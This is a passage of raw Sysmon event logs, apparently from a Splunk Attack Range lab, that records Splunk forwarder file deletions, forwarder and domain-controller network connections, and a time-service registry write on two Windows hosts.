Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=6F0532D15CDEA4ED7E18947DB38AD10B,SHA256=A019E83B5ECB6907876EA649120B36A8AEE0DD1EA6D6BB4303D327346CF7653D,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018052Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:41.639{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=92A870EA1F13CFCE743FB4016700C868,SHA256=3478734DAAD281E17237B259A3B65FAD9C0F38A6DA91A2446C7CACE9BD36EC4C,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000056150Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:42.713{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=ED65C8B3C314062368525563FC221432,SHA256=89B499490397C151A9A5F42B3848C743861C2332A22CEC16A93859B2FAD6C0CA,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018053Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:42.670{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=22FA0A2E328686B083A32724C68BF322,SHA256=3860DCFD375EC78805AA592A2F735F1DF10F37CBB923597B6D7CAC201C5719FE,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000056151Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:43.744{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=758849331C3D7B1A8B378372D39B51D6,SHA256=1E62A4158FCB1DCEBBB18DD52CE8CFFF251E4BF2AF2EB72CB80F3A38635CEF16,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018054Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:43.701{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=391110F30AABA760E6EB0DF16DEC575C,SHA256=9CDDEDC1955458D9A49D607F17FD1E39761C0854F85991C5BCC2E59E0BD486FF,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000056152Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:44.877{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=67C421BBE2679E0C94A930C8FF8C4805,SHA256=61B2AB46771EAD0C071EF0D61F76ECD8CC3C0ABB1D98D8E073F5FCE151F132ED,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018055Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:44.717{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=5040288D3DBECF79C41E6B6B5988E1F4,SHA256=7FDA3485B7FDD7B0D34434175B277D3939E6A5450B08E4EF4E97768214142606,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000018056Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:45.748{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=BF107E07A81B48943D66642B4931E76B,SHA256=7D3E616577AD8E288294D515F6FD80C656BEAA036D76C78E19345A3536AB89A6,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000056153Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:42.465{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local63167-false10.0.1.12-8000- 23542300x800000000000000018058Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:46.779{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=92ED3DE1D1515DA6781752365EAFC8C3,SHA256=00F1A810D916141229EF351459C6D2D2B5A1CAB7C527B6DB144224A6B6CCB28B,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000056154Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:46.042{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=3921300EFACA5D1AA6057079CA1DB664,SHA256=0295E54F78D9D31A0BD0BAB38CD3A062AB611585AE4BFEDB213805170586F26E,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000018057Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:44.444{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50396-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000018059Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:47.826{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=65DF3075DA9F01A421A661943429187A,SHA256=95C5ACE53EBA5FBCD825910A76F6A30F35EB283595EE28BA0B42225797D8F989,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000056155Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:47.157{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=6D4E7ED924E456B11F64FB0C7C039E07,SHA256=01592F3A77E5C8BDA3E467FCD02D26F1497761C750F22AEE0BC622235AB444B6,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018060Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:48.842{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=6B3448A98459C13E96793C1A6691143B,SHA256=BFD87026058D2D37DC991A20A3D94C0CF531AAE815DFD3FB669804B5A8B4CF2F,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000056156Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:48.174{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=62B654813A47918C43BD39A0F6752097,SHA256=C7A788B9EB7BBE9730D07064048775E7E57A08A4C7B494386AF15660BAECE901,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018061Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:49.873{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=019F7EEC3F1EA520731554A7BCCA3C57,SHA256=79175C677B1D92FFFDAD38872C781FC4725B83DB72F1D9F76982393ACB4EB0B2,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000056157Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:49.193{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B985ABAA9F49147A3279CF9D2D7FEE83,SHA256=7FA020FC3AEDEBEBEF5E1F624E6C7EC0BABF1FA3CE7790CC2FC8165CAAE2DDC4,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018062Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:50.889{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A11C30555CC3606E8806BA77EF0C2DAC,SHA256=63A5CD8F3F2A01AAA780F3DB75D16340A08D70906F2B56C94C2046E448AF72DD,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000056159Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:48.483{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local63168-false10.0.1.12-8000- 23542300x800000000000000056158Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:50.194{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=EE39A7B879BD98B7D49BA2D74F01352D,SHA256=630D6DD855EBA44341EE933AAC0BFF636C7ED3FCDD5293407EAFB7E294662118,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018064Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:51.898{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C7DC2AD47A0475748EECD4F20E43EFCF,SHA256=9479A6E235F1AFA2E90816BC30604D162562B8B00E5205F573F3319696D60B5F,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000056160Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:51.209{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=3822E1A44F3359CC28F9ACF08A81AD53,SHA256=C37AAA9C59EA511A376F5B7701BA9D3E6886A4F60517524852D8A47053CC0F17,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000018063Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:50.459{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50397-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000018066Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:52.913{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=317A6E842318FDBDBB0F910FB5741A71,SHA256=54D696E9ECBEA788CD820BD657119557D4CDB402A8C304E0762D808F97834975,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000056161Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:52.239{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=0CC3D31C78E88945D544C4F303F35EEA,SHA256=DBF223BA49612D27EC938A70DD869DA3AFE8E01988958899BA97D1DA3CB82883,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 13241300x800000000000000018065Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-SetValue2021-09-10 15:07:52.398{625C326B-67EE-613B-1300-00000000F101}368C:\Windows\system32\svchost.exeHKLM\System\CurrentControlSet\Services\W32Time\Config\LastKnownGoodTimeQWORD (0x01d7a655-0xa062d878) 23542300x800000000000000018067Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:53.945{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B794936BE78D6AF11183892FBEA46995,SHA256=9E21D73371E8A4472947B2E09CC2BE8729E238930E39EB6F247B1D1BD3DB5B29,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000056162Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:53.272{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=12AD7B201BD163AEFD7AEC3762882E80,SHA256=2B9463EE5881954F4922F984D2BB9F86E72E93F8616A09B722605BD516043E8B,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018068Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:54.960{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=ACAE69E63EBED5B656D66052AD988803,SHA256=5708D220167DB591ACD2F0D12527AB105DD4ACBF869BD39EC56F2E70E7F4222E,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000056163Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:54.292{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=606C6BD0D07E70EDE380903BC9FC30BE,SHA256=B12ADC880B85C9D79AD7ABE98D5B5BC57DF29CAF9F0612C4DC8A4921577E1B15,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018070Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:55.991{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=12415C7B98E58ED6B9F63F60C4E93C39,SHA256=B0543B2F007A0EC237CBA93A3B864B3950AC1550F706723A40BC00081FA429EB,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000056164Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:55.307{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=AD8D8750407C01E56C4B74E870E25244,SHA256=B1D281FDEB16EFF93BFDB0CA34CDD434EB76538DB1678775A03033193060F300,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018069Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:55.241{625C326B-6879-613B-A400-00000000F101}2004NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeC:\Program Files\SplunkUniversalForwarder\var\run\serverclass.xmlMD5=086DB1CFB481058C3EF9F48D868FE74F,SHA256=BB95DB224236BED3122F53106B6D7A2930FE56435B98D0E225AAE99BDF5D7CF8,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000056165Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:56.338{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=94080CD1E78D7CD7BC44744203984AA8,SHA256=B0166B6252D3C7738180589F449B0E38E7EEBC62B1C31FE960BB3E2BB0B4AE7D,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000056167Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:54.344{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local63169-false10.0.1.12-8000- 23542300x800000000000000056166Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:57.371{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=84CE6C5C7B63A6F8B8219CEA6AECF445,SHA256=7908840D6F1766C1C65AD8921FD4BD4B7BE313B59877B73C328E56E13E68C95A,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000018072Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:55.547{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50398-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8089- 23542300x800000000000000018071Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:57.007{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=DDBF7FECC8511124854E9F279BCFF507,SHA256=07900A432C6B67D5BBF9F8B4D41BD852A6C7E0F16194FDDFE8D4C4D6FFD1FE52,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000018074Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:56.484{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50399-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000018073Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:58.038{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=26562FC60EDDF8E4746FAEB327563186,SHA256=96572711E78FAC835F95FD0F968B832F4D7E6A95D77A44E47BDF3BA76248D261,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000056168Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:58.455{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=3C06CDA45A056D5D43E9CAD1FF5CE7F4,SHA256=2998BA0D6F366673C7DE32551CDC509989F754E6A3BAE107320317470EC2C42E,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000056173Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:57.745{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\System32\lsass.exeNT AUTHORITY\SYSTEMtcpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local63170-true0:0:0:0:0:0:0:1win-dc-387.attackrange.local389ldap 354300x800000000000000056172Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:57.745{7BD73061-65BF-613B-2700-00000000F001}2852C:\Windows\ADWS\Microsoft.ActiveDirectory.WebServices.exeNT AUTHORITY\SYSTEMtcptruetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local63170-true0:0:0:0:0:0:0:1win-dc-387.attackrange.local389ldap 23542300x800000000000000056171Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:59.476{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=8049EDA84262D98EEA443D896BAE8B2A,SHA256=C45F509E46C9ACA0E691160B209377D88D92D3078FEE4105492ECE678E898A5F,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000056170Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:59.476{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=562044D7DCB8B3E5ADD9C1423C44BE56,SHA256=0EA2C9AA04491826478F632FBAFCE8F89274E0F4F3E99D612DB5CF97F19B956E,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000056169Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:59.472{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C59F42F597D1001FCE2AA0BB283CB628,SHA256=DEC38E1AF3724AD1DA54E3D8CEDF968319DAF0313FC35AFB510813BFE00619E8,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018075Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:59.054{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=8EC7ED4A2C5A7C28F99A7263331DC90E,SHA256=8EDD3234765A1735EAFA2F9C1835679A5558ABF784710CB6E579B8CC709CB3D7,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000056174Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:00.638{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=19197602027A1F28D2228D8EF5F16BAC,SHA256=D9CE81EEC556821D223EB3ABB06E2C3B723B4B83037DBF4813984AD2597A5F02,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018076Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:00.054{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=2F2ED43D53272A5A3689CB49F86C8AF2,SHA256=421235FD7E3F2ADA31E9C56A2C635B71A8530D7CCD36B7A3D6B041E2B2AD6ECA,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000056176Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:59.345{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local63171-false10.0.1.12-8000- 23542300x800000000000000056175Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:01.653{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=FBC0675A2E2A435EF2E7E8C1B121C686,SHA256=FB673CFC5BC2DBC8DF31FEBC769DB19F3524288452955619D40B07960C257302,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018077Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:01.069{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B5ECF34392D815A80E6CD69622372E5D,SHA256=D757EC75A15153E7D814404F3DE303102DB1C0A5B94D3D18E4C0B38FA51B8116,IMPHASH=00000000000000000000000000000000falsetrue 